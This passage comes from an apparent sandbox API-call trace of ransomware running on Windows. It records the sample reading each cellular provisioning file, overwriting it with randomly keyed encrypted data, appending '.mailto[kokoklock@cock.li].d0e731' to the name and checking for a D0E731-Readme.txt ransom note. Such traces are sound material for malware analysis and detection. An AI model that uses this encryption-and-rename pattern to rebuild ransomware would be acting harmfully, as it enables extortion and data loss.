Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.072] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.072] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.072] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.072] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd48) returned 1 [0087.072] RtlExitUserThread (Status=0x1) Thread: id = 1343 os_tid = 0x13b8 [0087.073] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.074] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.074] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.074] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ec3fbc4 | out: lpFileSize=0x2ec3fbc4*=724) returned 1 [0087.075] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.075] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ec3fb98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x2ec3fb98*, lpNumberOfBytesRead=0x2ec3fb94*=0x4, lpOverlapped=0x0) returned 1 [0087.077] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc4d0 [0087.077] NtQuerySystemTime (in: CurrentTime=0x2ec3fb70 | out: CurrentTime=0x2ec3fb70*=132121176449766854) returned 0x0 [0087.077] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xc2f62f0b [0087.077] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xec48ab46 [0087.077] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xf7c38180 [0087.077] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x870d580f [0087.077] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x963120ee [0087.077] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x8ac4885b [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x8624984d [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x16a18443 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x76dc8d4 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x9c32a2ae [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xa8585b12 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xd0e95058 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xe4ca457a [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x5935e7f3 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x659f8df8 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x2b5af0d1 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xe31ed9e7 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xf8056a3c [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xa71c7ca9 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xd3b5230 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x70f6d549 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x84ce12e0 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xe298f9d6 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x678f44af [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x7c220dd5 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x7df8971d [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xe7dbd6c7 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x32a9c0b [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x2ea9462f [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x335d7295 [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0xea10696b [0087.078] RtlRandom (in: Seed=0x2ec3fb7c | out: Seed=0x2ec3fb7c) returned 0x7bda2989 [0087.088] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x2ec3fb70, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ec3fb70*=0x2d4, lpOverlapped=0x0) returned 1 [0087.088] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ec3fb38 | out: lpNewFilePointer=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d4, lpNumberOfBytesWritten=0x2ec3fb6c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ec3fb6c*=0x2d4, lpOverlapped=0x0) returned 1 [0087.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ec3fb68, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2ec3fb68*=0x20, lpOverlapped=0x0) returned 1 [0087.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2ec3fb94*=0x8, lpOverlapped=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ec3fbac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x2ec3fbac*, lpNumberOfBytesWritten=0x2ec3fb94*=0x4, lpOverlapped=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ec3fb94*=0x4, lpOverlapped=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ec3fb94*=0x6c, lpOverlapped=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2ec3fb94*=0x20, lpOverlapped=0x0) returned 1 [0087.090] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ec3fb94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ec3fb94*=0x4, lpOverlapped=0x0) returned 1 [0087.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.090] CloseHandle (hObject=0x3d0) returned 1 [0087.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18e) returned 0x33fc9c8 [0087.090] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" [0087.090] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.090] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.091] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.091] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.091] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.091] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.091] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6910) returned 1 [0087.091] RtlExitUserThread (Status=0x1) Thread: id = 1344 os_tid = 0x13d0 [0087.092] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.093] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.093] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.093] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ecbf900 | out: lpFileSize=0x2ecbf900*=728) returned 1 [0087.093] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.093] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ecbf8d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x2ecbf8d4*, lpNumberOfBytesRead=0x2ecbf8d0*=0x4, lpOverlapped=0x0) returned 1 [0087.095] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc4f8 [0087.095] NtQuerySystemTime (in: CurrentTime=0x2ecbf8ac | out: CurrentTime=0x2ecbf8ac*=132121176449923197) returned 0x0 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xf300dd4e [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x2f232377 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xe8941acd [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xf4f601ef [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xff682f2c [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xf6b7c6e9 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x8cd2acb4 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xd0ce049f [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x3d061c2a [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x8317e38c [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x57a2b3e1 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x434ea66b [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x72412a85 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x11fa5507 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x82770680 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x1795ce00 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xb16eb059 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xf3b91fc7 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xfbef8095 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x364f78b8 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xd429cfb6 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xb5365e84 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x4c5ddd29 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x7f727113 [0087.095] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x4d295d4e [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x7cf0d451 [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x45b80eb2 [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x331ffe11 [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x9de729a1 [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x3a613669 [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0x9beec4ba [0087.096] RtlRandom (in: Seed=0x2ecbf8b8 | out: Seed=0x2ecbf8b8) returned 0xad2e1ff [0087.106] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x2ecbf8ac, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ecbf8ac*=0x2d8, lpOverlapped=0x0) returned 1 [0087.106] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecbf874 | out: lpNewFilePointer=0x0) returned 1 [0087.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d8, lpNumberOfBytesWritten=0x2ecbf8a8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ecbf8a8*=0x2d8, lpOverlapped=0x0) returned 1 [0087.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.106] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ecbf8a4, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2ecbf8a4*=0x20, lpOverlapped=0x0) returned 1 [0087.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.107] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.107] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2ecbf8d0*=0x8, lpOverlapped=0x0) returned 1 [0087.107] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ecbf8e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x2ecbf8e8*, lpNumberOfBytesWritten=0x2ecbf8d0*=0x4, lpOverlapped=0x0) returned 1 [0087.107] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ecbf8d0*=0x4, lpOverlapped=0x0) returned 1 [0087.107] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ecbf8d0*=0x6c, lpOverlapped=0x0) returned 1 [0087.108] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2ecbf8d0*=0x20, lpOverlapped=0x0) returned 1 [0087.108] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ecbf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ecbf8d0*=0x4, lpOverlapped=0x0) returned 1 [0087.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.108] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.108] CloseHandle (hObject=0x3d0) returned 1 [0087.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18e) returned 0x33fc9c8 [0087.108] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All 